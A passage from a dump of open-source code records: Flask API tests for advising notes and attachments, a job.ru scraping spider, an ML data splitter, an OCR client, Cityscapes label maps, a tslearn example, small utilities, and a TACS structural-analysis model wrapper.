)\n # Log in as Admin and delete the note\n fake_auth.login(admin_uid)\n note_id = note.get('id')\n response = client.delete(f'/api/notes/delete/{note_id}')\n assert response.status_code == 200\n # TODO: add deleted_at column to NoteTopic and populate it when parent Note is deleted.\n # assert not NoteTopic.find_by_note_id(note_id)\n\n def test_delete_note_with_attachments(self, app, client, fake_auth):\n \"\"\"Delete a note with two attachments.\"\"\"\n fake_auth.login(coe_advisor_uid)\n base_dir = app.config['BASE_DIR']\n note = _api_note_create(\n app,\n client,\n author_id=AuthorizedUser.get_id_per_uid(coe_advisor_uid),\n sids=[coe_student['sid']],\n subject='My little dog Lassie packed her bags and went out on to the porch',\n body='Then my little dog Lassie, she sailed off to the moon',\n attachments=[\n f'{base_dir}/fixtures/mock_advising_note_attachment_1.txt',\n f'{base_dir}/fixtures/mock_advising_note_attachment_2.txt',\n ],\n )\n attachment_ids = [a['id'] for a in note.get('attachments')]\n assert len(attachment_ids) == 2\n assert NoteAttachment.find_by_id(attachment_ids[0]) and NoteAttachment.find_by_id(attachment_ids[1])\n\n # Log in as Admin and delete the note\n fake_auth.login(admin_uid)\n note_id = note['id']\n response = client.delete(f'/api/notes/delete/{note_id}')\n assert response.status_code == 200\n assert not NoteAttachment.find_by_id(attachment_ids[0])\n assert not NoteAttachment.find_by_id(attachment_ids[1])\n\n\nclass TestStreamNoteAttachments:\n\n def test_not_authenticated(self, client):\n \"\"\"Returns 401 if not authenticated.\"\"\"\n assert client.get('/api/notes/attachment/9000000000_00002_1.pdf').status_code == 401\n\n def test_user_without_advising_data_access(self, app, client, fake_auth):\n \"\"\"Denies access to a user who cannot access notes and appointments.\"\"\"\n with mock_legacy_note_attachment(app):\n fake_auth.login(coe_advisor_no_advising_data_uid)\n assert client.get('/api/notes/attachment/9000000000_00002_1.pdf').status_code == 401\n\n def test_stream_attachment(self, app, client, fake_auth):\n with mock_legacy_note_attachment(app):\n fake_auth.login(coe_advisor_uid)\n response = client.get('/api/notes/attachment/9000000000_00002_1.pdf')\n assert response.status_code == 200\n assert response.headers['Content-Type'] == 'application/octet-stream'\n assert response.headers['Content-Disposition'] == \"attachment; filename*=UTF-8''dog_eaten_homework.pdf\"\n assert response.data == b'When in the course of human events, it becomes necessarf arf woof woof woof'\n\n def test_stream_attachment_reports_missing_files_not_found(self, app, client, fake_auth):\n with mock_legacy_note_attachment(app):\n fake_auth.login(asc_advisor_uid)\n response = client.get('/api/notes/attachment/h0ax.lol')\n assert response.status_code == 404\n assert response.data == b'Sorry, attachment not available.'\n\n\nclass TestStreamNotesZip:\n\n def test_not_authenticated(self, client):\n \"\"\"Returns 401 if not authenticated.\"\"\"\n assert client.get('/api/notes/download_for_sid/9000000000').status_code == 401\n\n def test_not_authorized(self, client, fake_auth):\n \"\"\"Returns 401 if not admin or director.\"\"\"\n fake_auth.login(coe_advisor_uid)\n assert client.get('/api/notes/download_for_sid/9000000000').status_code == 401\n\n def test_director_without_advising_data_access(self, client, fake_auth):\n \"\"\"Denies access to a director who cannot access notes and appointments.\"\"\"\n fake_auth.login(l_s_director_no_advising_data_uid)\n assert client.get('/api/notes/download_for_sid/9000000000').status_code == 401\n\n def test_not_found(self, client, fake_auth):\n \"\"\"Returns 404 if SID not found.\"\"\"\n fake_auth.login(admin_uid)\n assert client.get('/api/notes/download_for_sid/9999999999').status_code == 404\n\n def _assert_zip_download(self, app, client):\n today = localize_datetime(utc_now()).strftime('%Y%m%d')\n with mock_legacy_note_attachment(app):\n response = client.get('/api/notes/download_for_sid/9000000000')\n assert response.status_code == 200\n assert response.headers['Content-Type'] == 'application/zip'\n assert response.headers['Content-Disposition'] == f\"attachment; filename=advising_notes_wolfgang_pauli-o'rourke_{today}.zip\"\n assert response.data\n\n def test_authorizes_director(self, app, client, fake_auth):\n fake_auth.login(l_s_director_uid)\n self._assert_zip_download(app, client)\n\n def test_authorizes_admin(self, app, client, fake_auth):\n fake_auth.login(admin_uid)\n self._assert_zip_download(app, client)\n\n\ndef _get_notes(client, uid):\n response = client.get(f'/api/student/by_uid/{uid}')\n assert response.status_code == 200\n return response.json['notifications']['note']\n\n\ndef _asc_note_with_attachment():\n for note in Note.get_notes_by_sid('11667051'):\n if len(note.attachments):\n return note\n return None\n\n\ndef _api_note_create(\n app,\n client,\n author_id,\n sids,\n subject,\n body,\n topics=(),\n attachments=(),\n template_attachment_ids=(),\n expected_status_code=200,\n):\n with mock_advising_note_s3_bucket(app):\n data = {\n 'authorId': author_id,\n 'sids': sids,\n 'subject': subject,\n 'body': body,\n 'topics': ','.join(topics),\n 'templateAttachmentIds': ','.join(str(_id) for _id in template_attachment_ids),\n }\n for index, path in enumerate(attachments):\n data[f'attachment[{index}]'] = open(path, 'rb')\n response = client.post(\n '/api/notes/create',\n buffered=True,\n content_type='multipart/form-data',\n data=data,\n )\n assert response.status_code == expected_status_code\n return response.json\n\n\ndef _api_batch_note_create(\n app,\n client,\n author_id,\n subject,\n body,\n sids=None,\n cohort_ids=None,\n curated_group_ids=None,\n topics=(),\n attachments=(),\n template_attachment_ids=(),\n expected_status_code=200,\n):\n with mock_advising_note_s3_bucket(app):\n data = {\n 'authorId': author_id,\n 'isBatchMode': sids and len(sids) > 1,\n 'sids': sids or [],\n 'cohortIds': cohort_ids or [],\n 'curatedGroupIds': curated_group_ids or [],\n 'subject': subject,\n 'body': body,\n 'templateAttachmentIds': template_attachment_ids or [],\n 'topics': ','.join(topics),\n }\n for index, path in enumerate(attachments):\n data[f'attachment[{index}]'] = open(path, 'rb')\n response = client.post(\n '/api/notes/create',\n buffered=True,\n content_type='multipart/form-data',\n data=data,\n )\n assert response.status_code == expected_status_code\n\n\ndef _get_curated_groups_ids_and_sids(advisor):\n sids = []\n curated_group_ids = []\n for curated_group in CuratedGroup.get_curated_groups_by_owner_id(advisor.id):\n curated_group_ids.append(curated_group.id)\n sids = sids + CuratedGroup.get_all_sids(curated_group.id)\n return curated_group_ids, sids\n\n\ndef _get_cohorts_ids_and_sids(advisor):\n cohort_ids = [c['id'] for c in all_cohorts_owned_by(advisor.uid)]\n sids = []\n for cohort_id in cohort_ids:\n sids = sids + CohortFilter.get_sids(cohort_id)\n return cohort_ids, sids\n","sub_path":"tests/test_api/test_notes_controller.py","file_name":"test_notes_controller.py","file_ext":"py","file_size_in_byte":38706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"71576975","text":"# -*- coding: utf-8 -*-\n\"\"\"\n This spider is a JobRu spider created on top of the ATSSpider\n scrapy crawl jobrujobs -a mining_job_id=9999 -a iteration=1 -a extract=1 -a url=\"http://www.job.ru/seeker/job/?period=0&rgnc=B2&srch=1\"\n\n sample job url:\n http://www.job.ru/sales/6498172\n\"\"\"\n\nfrom re import compile, sub\nfrom scrapy.http import Request\nfrom scrapy.selector import Selector\nfrom urlparse import urljoin\n\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import Prefix, NormalizedJoin, \\\n ConvertDateString, Replace\nfrom brightcorp.lib.utils import extract_first\n\n\nclass JobRu(ATSSpider):\n\n name = \"jobrujobs\"\n RNGC_Value = compile(r\"&rgnc=(\\S+)\")\n common_xpath = '//div[contains(text(), \"%s\")]/text()'\n desc_tag_xpath = '//h2[contains(text(), \"%s\")]'\n desc_xpath = '//h2[contains(text(), \"%s\")]/following-sibling::p[1]'\n\n def parse(self, response):\n # Adding these values, to get jobs from other regions as well.\n # This is hard-coded because we are unable to get them from site\n url_values = [\n 'B2', 'B167', 'B251', 'B259', 'B267', 'B271', 'B275',\n 'B281', 'B285', 'B294', 'B304', 'B310', 'B323', 'B335',\n 'B340', 'B350', 'B354', 'B360', 'B541', 'B372', 'B379',\n 'B383', 'B391', 'B395', 'B235', 'B399', 'B403', 'B407',\n 'B411', 'B415', 'B419', 'B423', 'B427', 'B431', 'B435',\n 'B440', 'B239', 'B448', 'B452', 'B462', 'A1', 'B243',\n ]\n rngc_value = self.RNGC_Value.search(response.url)\n if rngc_value:\n for url_value in url_values:\n job_list_url = sub(rngc_value.group(1), url_value, response.url)\n yield Request(\n callback=self.parse_jobs_list,\n dont_filter=True,\n url=job_list_url\n )\n\n def parse_jobs_list(self, response):\n selector = Selector(response)\n jobs = selector.xpath(\n '//div[@class=\"sr_list sr_search\"]/div[contains(@class, \"sr_row dotbrdr js_job_item\")]'\n )\n for job in jobs:\n url = job.xpath('.//td[1]//a/@href').extract()\n if url:\n meta = {\n 'salary': job.xpath(\n './/span[@class=\"srSalary\"]//text()'\n ).extract(),\n 'title': job.xpath(\n './/div[@class=\"wrapTD\"]/a/text()'\n ).extract(),\n 'company': job.xpath(\n './/a[@class=\"srCompName nonv\"]/text()'\n ).extract(),\n 'location': job.xpath(\n './/div[@class=\"srAdress\"]/text()'\n ).extract(),\n 'ref_num': job.xpath('./@data-id').extract(),\n }\n yield Request(\n callback=self.parse_job_callback(),\n meta=meta,\n url=urljoin(response.url, url[0])\n )\n\n next_page_url = extract_first(selector.xpath(\n '//ul[@class=\"paging\"]/li[@class=\"sel\"]/following-sibling::li/a/@href'\n ))\n if next_page_url:\n yield Request(\n callback=self.parse_jobs_list,\n url=urljoin(response.url, next_page_url)\n )\n\n def parse_job(self, response):\n selector = Selector(response)\n loader = BrightcorpItemLoader(selector=selector)\n\n other_fields = selector.xpath(\n '//div[@class=\"info-block\"]/div'\n ).extract()\n if len(other_fields) == 3:\n loader.add_xpath(\n 'educationrequirements',\n '//div[@class=\"info-block\"]/div[2]/text()'\n )\n\n loader.add_xpath(\n 'benefits',\n [\n self.desc_tag_xpath % unicode('Условия', 'utf-8'),\n self.desc_xpath % unicode('Условия', 'utf-8')\n ],\n NormalizedJoin()\n )\n loader.add_xpath(\n 'date',\n self.common_xpath % unicode('Размещено', 'utf-8'),\n Replace(unicode('Размещено', 'utf-8')),\n ConvertDateString('%d.%m.%Y')\n )\n loader.add_xpath(\n 'description',\n [\n self.desc_tag_xpath % unicode('Описание вакансии', 'utf-8'),\n self.desc_xpath % unicode('Описание вакансии', 'utf-8'),\n ]\n )\n loader.add_xpath(\n 'jobcategory',\n '//div[@class=\"job-sphere\"]//a[@class=\"pseudo-link nowrap\"]/text()'\n )\n loader.add_xpath(\n 'experiencerequirements',\n self.common_xpath % unicode('Опыт работы:', 'utf-8'),\n Replace(unicode('Опыт работы:', 'utf-8'))\n )\n loader.add_xpath(\n 'requirements',\n [\n self.desc_tag_xpath % unicode('Требования', 'utf-8'),\n self.desc_xpath % unicode('Требования', 'utf-8'),\n ]\n )\n\n loader.add_value(\n 'baseSalary', response.meta.get('salary'), NormalizedJoin()\n )\n loader.add_value(\n 'referencenumber',\n response.meta.get('ref_num'),\n Prefix('%s-' % self.name)\n )\n loader.add_value('apply_url', response.url)\n loader.add_value('company', response.meta.get('company'))\n loader.add_value('location', response.meta.get('location'))\n loader.add_value('title', response.meta.get('title'))\n loader.add_value('url', response.url)\n\n yield loader.load_item()\n","sub_path":"brightcorp/brightcorp/spiders/jobrujobs.py","file_name":"jobrujobs.py","file_ext":"py","file_size_in_byte":5783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"358244696","text":"import pandas as pd\nimport numpy as np\nimport os\nimport argparse\nimport _utils\nfrom sklearn.model_selection import train_test_split\n\n\"\"\"\nSplits input data into n folds for Flair model training and later ML.\nExample use:\n\npython3 input_data_splitter.py --folds=5 --dependent_variable=respect\n\"\"\"\n\nparser = argparse.ArgumentParser(description='split_input_data')\nparser.add_argument(\"--dependent_variable\", required=False, default=\"respect\", type=str)\nparser.add_argument(\"--folds\", required=False, default=5, type=int)\nparser.add_argument(\"--filepath\", required=False, default='input_file.xlsx', type=str)\nargs = parser.parse_args()\n\nfilepath = os.path.join('./data/source_data/', args.filepath)\ndata_file_name = args.filepath.split('.')[0]\ndata_file_extension = args.filepath.split('.')[1]\ndependent_variable = args.dependent_variable\nfolds = args.folds\n\n# read original data file\nif data_file_extension == \"xlsx\":\n df = pd.read_excel(filepath, converters={'dummy_id': str})\nelif data_file_extension == \"csv\":\n df = pd.read_csv(filepath, converters={'dummy_id': str})\n\n# use only selected columns\ndf = df[[dependent_variable, \"text\"]]\n# change format of 'sentiment' label for further training in Flair framework\ndf[dependent_variable] = '__label__' + df[dependent_variable].astype(str)\n\n# Cross validation\n# create data splits for Deep Learning Language Models trained with Flair framework\ntrain_indexes = dict()\nval_indexes = dict()\ntest_indexes = dict()\n\n# train sets for Machine Learning\ntrain_ml = dict()\n\nkf = _utils.splitter(folds=folds, df=df)\n\ni = 0\nfor train_index, test_index in kf:\n test_indexes[i] = test_index\n train_ml[i] = train_index\n train_index, val_index = train_test_split(train_index, test_size=0.125, random_state=13, shuffle=True)\n train_indexes[i] = train_index\n val_indexes[i] = val_index\n i += 1\n \n# test sets for Machine Learning are equal to those for Flair framework\ntest_ml = test_indexes\n\n# create folders for FLAIR data splits and .tsv files for training\nfolds_path = list()\nfor fold in range(folds):\n folds_path.append(f'./data/models/{dependent_variable}_{data_file_name}_{str(fold)}/')\n try:\n os.mkdir(f'./data/models/{dependent_variable}_{data_file_name}_{str(fold)}')\n except FileExistsError:\n pass # continue\n df.iloc[test_indexes[fold]].to_csv(os.path.join(folds_path[fold], \"test_.tsv\"),\n index=False, header=False, encoding='utf-8', sep='\\t')\n df.iloc[train_indexes[fold]].to_csv(os.path.join(folds_path[fold], \"train.tsv\"),\n index=False, header=False, encoding='utf-8', sep='\\t')\n df.iloc[val_indexes[fold]].to_csv(os.path.join(folds_path[fold], \"dev.tsv\"),\n index=False, header=False, encoding='utf-8', sep='\\t')\n","sub_path":"input_data_splitter.py","file_name":"input_data_splitter.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"332706397","text":"#!/usr/bin/env python3\n\nimport requests\nimport json\nimport base64\n\n\nclass Picture(object):\n def __init__(self, path):\n self.path = path\n\n def get_ocr_result(self, ocr_api):\n data = {\"images\": [self._to_base64()]}\n headers = {\"Content-type\": \"application/json\"}\n res = requests.post(url=ocr_api, headers=headers, data=json.dumps(data))\n text = [x[\"text\"] for x in res.json()[\"results\"][0][\"data\"]]\n return \"\\n\".join(text)\n\n def _to_base64(self):\n with open(self.path, \"rb\") as f:\n data = f.read()\n return base64.b64encode(data).decode(\"utf8\")\n\n\nif __name__ == \"__main__\":\n ocr_api = \"http://198.18.0.153:8865/predict/chinese_ocr_db_crnn_mobile\"\n pic_path = \"/Users/yuchen/Notes/imgs/Shao Nian Kai Ge - Chen Kai Ge-annot-44-0.png\"\n Picture(pic_path).get_ocr_result(ocr_api)\n","sub_path":"picture_handler.py","file_name":"picture_handler.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"631636132","text":"from collections import namedtuple\nimport tensorflow as tf\n\n\ndef get_cityscapes():\n Label = namedtuple('Label', ['name', 'id', 'trainId', 'category', 'categoryId', 'hasInstances', 'ignoreInEval', 'color'])\n\n labels = [\n # name id trainId category catId hasInstances ignoreInEval color\n Label('unlabeled', 0, 255, 'void', 0, False, True, (0, 0, 0)),\n Label('ego vehicle', 1, 255, 'void', 0, False, True, (0, 0, 0)),\n Label('rectification border', 2, 255, 'void', 0, False, True, (0, 0, 0)),\n Label('out of roi', 3, 255, 'void', 0, False, True, (0, 0, 0)),\n Label('static', 4, 255, 'void', 0, False, True, (0, 0, 0)),\n Label('dynamic', 5, 255, 'void', 0, False, True, (111, 74, 0)),\n Label('ground', 6, 255, 'void', 0, False, True, (81, 0, 81)),\n Label('road', 7, 0, 'flat', 1, False, False, (128, 64, 128)),\n Label('sidewalk', 8, 1, 'flat', 1, False, False, (244, 35, 232)),\n Label('parking', 9, 255, 'flat', 1, False, True, (250, 170, 160)),\n Label('rail track', 10, 255, 'flat', 1, False, True, (230, 150, 140)),\n Label('building', 11, 2, 'construction', 2, False, False, (70, 70, 70)),\n Label('wall', 12, 3, 'construction', 2, False, False, (102, 102, 156)),\n Label('fence', 13, 4, 'construction', 2, False, False, (190, 153, 153)),\n Label('guard rail', 14, 255, 'construction', 2, False, True, (180, 165, 180)),\n Label('bridge', 15, 255, 'construction', 2, False, True, (150, 100, 100)),\n Label('tunnel', 16, 255, 'construction', 2, False, True, (150, 120, 90)),\n Label('pole', 17, 5, 'object', 3, False, False, (153, 153, 153)),\n Label('polegroup', 18, 255, 'object', 3, False, True, (153, 153, 153)),\n Label('traffic light', 19, 6, 'object', 3, False, False, (250, 170, 30)),\n Label('traffic sign', 20, 7, 'object', 3, False, False, (220, 220, 0)),\n Label('vegetation', 21, 8, 'nature', 4, False, False, (107, 142, 35)),\n Label('terrain', 22, 9, 'nature', 4, False, False, (152, 251, 152)),\n Label('sky', 23, 10, 'sky', 5, False, False, (70, 130, 180)),\n Label('person', 24, 11, 'human', 6, True, False, (220, 20, 60)),\n Label('rider', 25, 12, 'human', 6, True, False, (255, 0, 0)),\n Label('car', 26, 13, 'vehicle', 7, True, False, (0, 0, 142)),\n Label('truck', 27, 14, 'vehicle', 7, True, False, (0, 0, 70)),\n Label('bus', 28, 15, 'vehicle', 7, True, False, (0, 60, 100)),\n Label('caravan', 29, 255, 'vehicle', 7, True, True, (0, 0, 90)),\n Label('trailer', 30, 255, 'vehicle', 7, True, True, (0, 0, 110)),\n Label('train', 31, 16, 'vehicle', 7, True, False, (0, 80, 100)),\n Label('motorcycle', 32, 17, 'vehicle', 7, True, False, (0, 0, 230)),\n Label('bicycle', 33, 18, 'vehicle', 7, True, False, (119, 11, 32)),\n Label('license plate', -1, -1, 'vehicle', 7, False, True, (255, 234, 142)),\n ]\n return labels\n\n\ndef generate_random_colors(n=256, seed=0, bg_class=0):\n cmap_mask = 1 - tf.one_hot(bg_class, depth=256, dtype=tf.int32)[..., tf.newaxis]\n cmp = tf.random.uniform((n, 3), minval=0, maxval=255, dtype=tf.int32, seed=seed) * cmap_mask\n return cmp\n\n\ndef convert_cs_19(segmentation):\n cs_19_map = [tf.where(segmentation == label[1], label[2] + 1, 0)\n for label in get_cityscapes()\n if (label[2] != 255 and label[2] != -1)]\n cs_19_map = sum(cs_19_map) - 1\n cs_19_map = tf.cast(cs_19_map, tf.int32)\n return cs_19_map\n\n\ndef gpu_cs_labels(segmentation_maps):\n \"\"\"\n segmentation_map: (b, h, w, 1) or (b, h, w)\n \"\"\"\n ncmap = [label[-1] for label in get_cityscapes() if (label[2] != 255 and label[2] != -1)]\n color_imgs = tf.gather(params=ncmap, indices=tf.cast(segmentation_maps, dtype=tf.int32))\n return color_imgs\n\n\ndef gpu_random_labels(segmentation_maps, cmp):\n \"\"\"\n segmentation_map: (b, h, w, 1) or (b, h, w)\n \"\"\"\n if len(segmentation_maps.shape) == 4:\n segmentation_maps = segmentation_maps[..., 0]\n color_imgs = tf.gather(params=cmp, indices=tf.cast(segmentation_maps, dtype=tf.int32))\n return color_imgs\n\n\nif __name__ == \"__main__\":\n cs_dict = get_cityscapes()\n ncmap = [label[-1] if (label[2] != 255 and label[2] != -1) else (0, 0, 0) for label in cs_dict]\n print(\"a\")\n","sub_path":"visualization_dicts.py","file_name":"visualization_dicts.py","file_ext":"py","file_size_in_byte":4394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"407674167","text":"# -*- coding: utf-8 -*-\n\"\"\"\nBarycenters\n===========\n\nThis example shows three methods to compute barycenters of time series.\n\"\"\"\n\n# Author: Romain Tavenard\n# License: BSD 3 clause\n\nimport numpy\nimport matplotlib.pyplot as plt\n\nfrom tslearn.barycenters import EuclideanBarycenter, DTWBarycenterAveraging, SoftDTWBarycenter\nfrom tslearn.datasets import CachedDatasets\n\nnumpy.random.seed(0)\nX_train, y_train, X_test, y_test = CachedDatasets().load_dataset(\"Trace\")\nX = X_train[y_train == 2]\n\nplt.figure()\nplt.subplot(3, 1, 1)\nfor ts in X:\n plt.plot(ts.ravel(), \"k-\", alpha=.2)\nplt.plot(EuclideanBarycenter().fit(X).ravel(), \"r-\", linewidth=2)\nplt.title(\"Euclidean barycenter\")\n\nplt.subplot(3, 1, 2)\ndba = DTWBarycenterAveraging(max_iter=100, verbose=False)\ndba_bar = dba.fit(X)\nfor ts in X:\n plt.plot(ts.ravel(), \"k-\", alpha=.2)\nplt.plot(dba_bar.ravel(), \"r-\", linewidth=2)\nplt.title(\"DBA\")\n\nplt.subplot(3, 1, 3)\nsdtw = SoftDTWBarycenter(gamma=1., max_iter=100)\nsdtw_bar = sdtw.fit(X)\nfor ts in X:\n plt.plot(ts.ravel(), \"k-\", alpha=.2)\nplt.plot(sdtw_bar.ravel(), \"r-\", linewidth=2)\nplt.title(\"Soft-DTW barycenter ($\\gamma$=1.)\")\n\nplt.tight_layout()\nplt.show()\n","sub_path":"tslearn/docs/examples/plot_barycenters.py","file_name":"plot_barycenters.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"592989000","text":"\n# coding: utf-8\n\n# In[ ]:\n\ndef cleanDicts(adict):\n import re\n req = {}\n imp = {'Cooling',\n 'Exterior material',\n 'Floor Description',\n 'Flooring',\n 'Fuel Information',\n 'Heating',\n 'MLS #',\n 'Parcel #',\n 'Stories',\n 'Unit count',\n 'Views since listing', \n 'Zillow Home ID',\n 'Last remodel year'\n }\n for items in adict:\n if items in imp:\n req[items] = adict[items]\n elif items in ['Floor size','Price/sqft','Lot depth', 'Lot width'] :\n x = re.sub('\\W+',\"\",adict[items])\n req[items] = re.findall('(\\d+)',x)[0]\n elif items == 'Last sold':\n groups = re.findall('(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\\s(\\d{4})\\s(\\w{3})\\s(\\$.*)',adict[items])[0]\n month_dict = {'Jan':1, 'Feb':2, 'Mar':3, 'Apr':4,'May':5, 'Jun':6, 'Jul':7, 'Aug':8, 'Sep':9, 'Oct':10, 'Nov':11, 'Dec':12}\n req['last_sold_on'] = str(month_dict[groups[0]]) + '/' + str(groups[1])\n req['last_sold_for'] = re.sub('\\W+',\"\",groups[3])\n elif items in ['MLS #','Parcel #','Zillow Home ID']:\n req[items] = re.sub('\\s+',\"\",adict[items])\n return req\n\n","sub_path":"download_zillow/zillow/spiders/clean_dicts.py","file_name":"clean_dicts.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"627294697","text":"class Solution:\n def countServers(self, grid: List[List[int]]) -> int:\n rows = len(grid)\n cols = len(grid[0])\n \n if rows == 0 or cols == 0:\n return 0\n \n count = 0\n points = []\n com_per_row = [0] * rows\n com_per_col = [0] * cols\n \n for i in range(rows):\n for j in range(cols):\n if grid[i][j] != 0:\n points.append((i, j))\n com_per_row[i] += 1 \n com_per_col[j] += 1\n \n for i, j in points:\n if com_per_row[i] > 1 or com_per_col[j] > 1:\n count += 1\n \n return count\n\n\n\n\n\n# class Solution:\n# def countServers(self, grid: List[List[int]]) -> int:\n# res = 0\n# al = 0\n# row = []\n# col = []\n# for i in range(len(grid)):\n# row.append(sum(grid[i]))\n# for j in range(len(grid[0])):\n# tmp = 0\n# for i in range(len(grid)):\n# tmp += grid[i][j]\n# col.append(tmp)\n# for i in range(len(grid)):\n# for j in range(len(grid[0])):\n# if grid[i][j] == 1:\n# al += 1\n# if row[i] == 1 and col[j] == 1:\n# res += 1\n# return al - res","sub_path":"2020_02_11/saurystand_1267.py","file_name":"saurystand_1267.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"641780561","text":"#!/usr/bin/env python\n\n# -*- coding: utf-8 -*-\n\nimport logging\n\nfrom alfred_bot import Bot\nfrom alfred_bot.settings import TOKEN_BOT\n\nlogging.basicConfig(format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\", level=logging.INFO)\n\n\ndef main():\n try:\n bot = Bot(TOKEN_BOT)\n bot.start()\n except Exception as error:\n raise error\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"alfred_bot/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"236288551","text":"__all__ = [\"TacsModel\"]\n\nimport pyCAPS\nfrom .tacs_aim import TacsAim\nfrom .egads_aim import EgadsAim\nfrom .analysis_function import AnalysisFunction, Derivative\nfrom .materials import Material\nfrom .constraints import Constraint\nfrom .property import ShellProperty\nfrom .loads import Load\nfrom .variables import ShapeVariable, ThicknessVariable\nfrom .egads_aim import EgadsAim\nfrom .aflr_aim import AflrAim\nfrom typing import List\nfrom tacs.pytacs import pyTACS\n\n\nclass TacsModel:\n MESH_AIMS = [\"egads\", \"aflr\"]\n\n def __init__(self, tacs_aim: TacsAim, mesh_aim, comm=None):\n self._tacs_aim = tacs_aim\n self._mesh_aim = mesh_aim\n self.comm = comm\n\n self._analysis_functions = []\n self.SPs = None\n self._setup = False\n self._first_analysis = True\n\n @property\n def tacs_aim(self) -> TacsAim:\n return self._tacs_aim\n\n @property\n def mesh_aim(self) -> AflrAim:\n return self._mesh_aim\n\n @property\n def uses_egads(self):\n return isinstance(self.mesh_aim, EgadsAim)\n\n @property\n def uses_aflr(self):\n return isinstance(self.mesh_aim, AflrAim)\n\n @classmethod\n def build(cls, csm_file, comm=None, mesh=\"egads\", problem_name: str = \"capsStruct\", verbosity=1):\n \"\"\"\n make a pyCAPS problem with the tacsAIM and egadsAIM on serial / root proc\n\n Parameters\n ---------------------------------\n csm_file : filepath\n filename / full path of ESP/CAPS Constructive Solid Model or .CSM file\n comm : MPI.COMM\n MPI communicator\n \"\"\"\n\n caps_problem = None\n assert mesh in cls.MESH_AIMS\n if comm is None or comm.rank == 0:\n caps_problem = pyCAPS.Problem(\n problemName=problem_name, capsFile=csm_file, outLevel=verbosity\n )\n tacs_aim = TacsAim(caps_problem, comm)\n mesh_aim = None\n if mesh == \"egads\":\n mesh_aim = EgadsAim(caps_problem, comm)\n elif mesh == \"aflr\":\n mesh_aim = AflrAim(caps_problem, comm)\n return cls(tacs_aim, mesh_aim, comm)\n\n def get_config_parameter(self, param_name: str):\n return self.tacs_aim.get_config_parameter(param_name=param_name)\n\n def register(self, obj):\n \"\"\"\n register each of the objects to the tacs model\n can also register any object for the tacs aim to the tacs model which passes it on\n \"\"\"\n\n if isinstance(obj, AnalysisFunction):\n self._analysis_functions.append(obj)\n\n tacs_aim_objects = [\n Material,\n ThicknessVariable,\n ShapeVariable,\n ShellProperty,\n Constraint,\n Load,\n EgadsAim,\n AflrAim,\n ]\n for tacs_aim_obj in tacs_aim_objects:\n if isinstance(obj, tacs_aim_obj):\n self.tacs_aim.register(obj)\n return\n\n return\n\n def setup(self, include_aim: bool = True):\n \"\"\"\n setup the analysis functions to store derivatives\n\n Parameters\n --------------------------------------------\n auto_tacs_aim : bool\n automatically setup the tacs aim too\n \"\"\"\n # add each variable as a derivative object for each analysis function\n for func in self.analysis_functions:\n for var in self.variables:\n func._derivatives.append(Derivative(name=var.name, value=0.0))\n\n if include_aim:\n self.tacs_aim.setup_aim()\n\n # Set additional options for meshing AIM through dictionaries\n if self.mesh_aim._dictOptions is not None:\n self.mesh_aim._set_dict_options()\n\n # go ahead and generate the first input files and mesh for TACS\n if not self.tacs_aim.change_shape:\n self.tacs_aim.pre_analysis()\n\n self._setup = True\n\n return self\n\n @property\n def analysis_functions(self) -> List[AnalysisFunction]:\n \"\"\"\n return the list of analysis function objects registered to the tacs aim wrapper class\n to add more functions use Function.(...).register_to(tacs_aim) or tacs_aim.register(my_analysis_function)\n \"\"\"\n return self._analysis_functions\n\n @property\n def function_names(self) -> List[str]:\n \"\"\"\n list of names of each analysis function\n \"\"\"\n return [func.name for func in self.analysis_functions]\n\n @property\n def analysis_dir(self) -> str:\n return self.tacs_aim.analysis_dir\n\n @property\n def geometry(self):\n \"\"\"\n link to pyCAPS geometry object to enable shape change in tacsAIM\n \"\"\"\n return self.tacs_aim.geometry\n\n @property\n def variables(self) -> List[ShapeVariable or ThicknessVariable]:\n return self.tacs_aim.variables\n\n @property\n def variable_dict(self) -> dict:\n return {var.name: var.value for var in self.variables}\n\n @property\n def shape_variables(self) -> List[ShapeVariable]:\n return self.tacs_aim.shape_variables\n\n @property\n def thickness_variables(self) -> List[ThicknessVariable]:\n return self.tacs_aim.thickness_variables\n\n @property\n def root_proc(self) -> bool:\n return self.comm is None or self.comm.rank == 0\n\n def update_design(self, input_dict: dict = None):\n \"\"\"\n method to change the values of each design variable in tacsAim wrapper and ESP/CAPS\n \"\"\"\n\n input_dict = input_dict if input_dict is not None else self.variable_dict\n\n # track any design change to monitor capsDirty\n changed_design = False\n\n # change all shape variables in TacsAim and update CAD geometry\n for shape_var in self.shape_variables:\n if shape_var.name in input_dict:\n if input_dict[shape_var.name] is not None:\n shape_var.value = float(input_dict[shape_var.name])\n\n # update the CAD geometry on root proc / serial since ESP/CAPS doesn't handle MPI directly\n if self.root_proc:\n if self.geometry.despmtr[shape_var.name].value != shape_var.value:\n changed_design = True\n if shape_var.value is not None:\n self.geometry.despmtr[\n shape_var.name\n ].value = shape_var.value\n else:\n shape_var.value = self.geometry.despmtr[\n shape_var.name\n ].value\n\n # change all thickness variables in TacsAim\n for thick_var in self.thickness_variables:\n if thick_var.name in input_dict:\n if thick_var.value != float(input_dict[thick_var.name]):\n thick_var.value = float(input_dict[thick_var.name])\n changed_design = 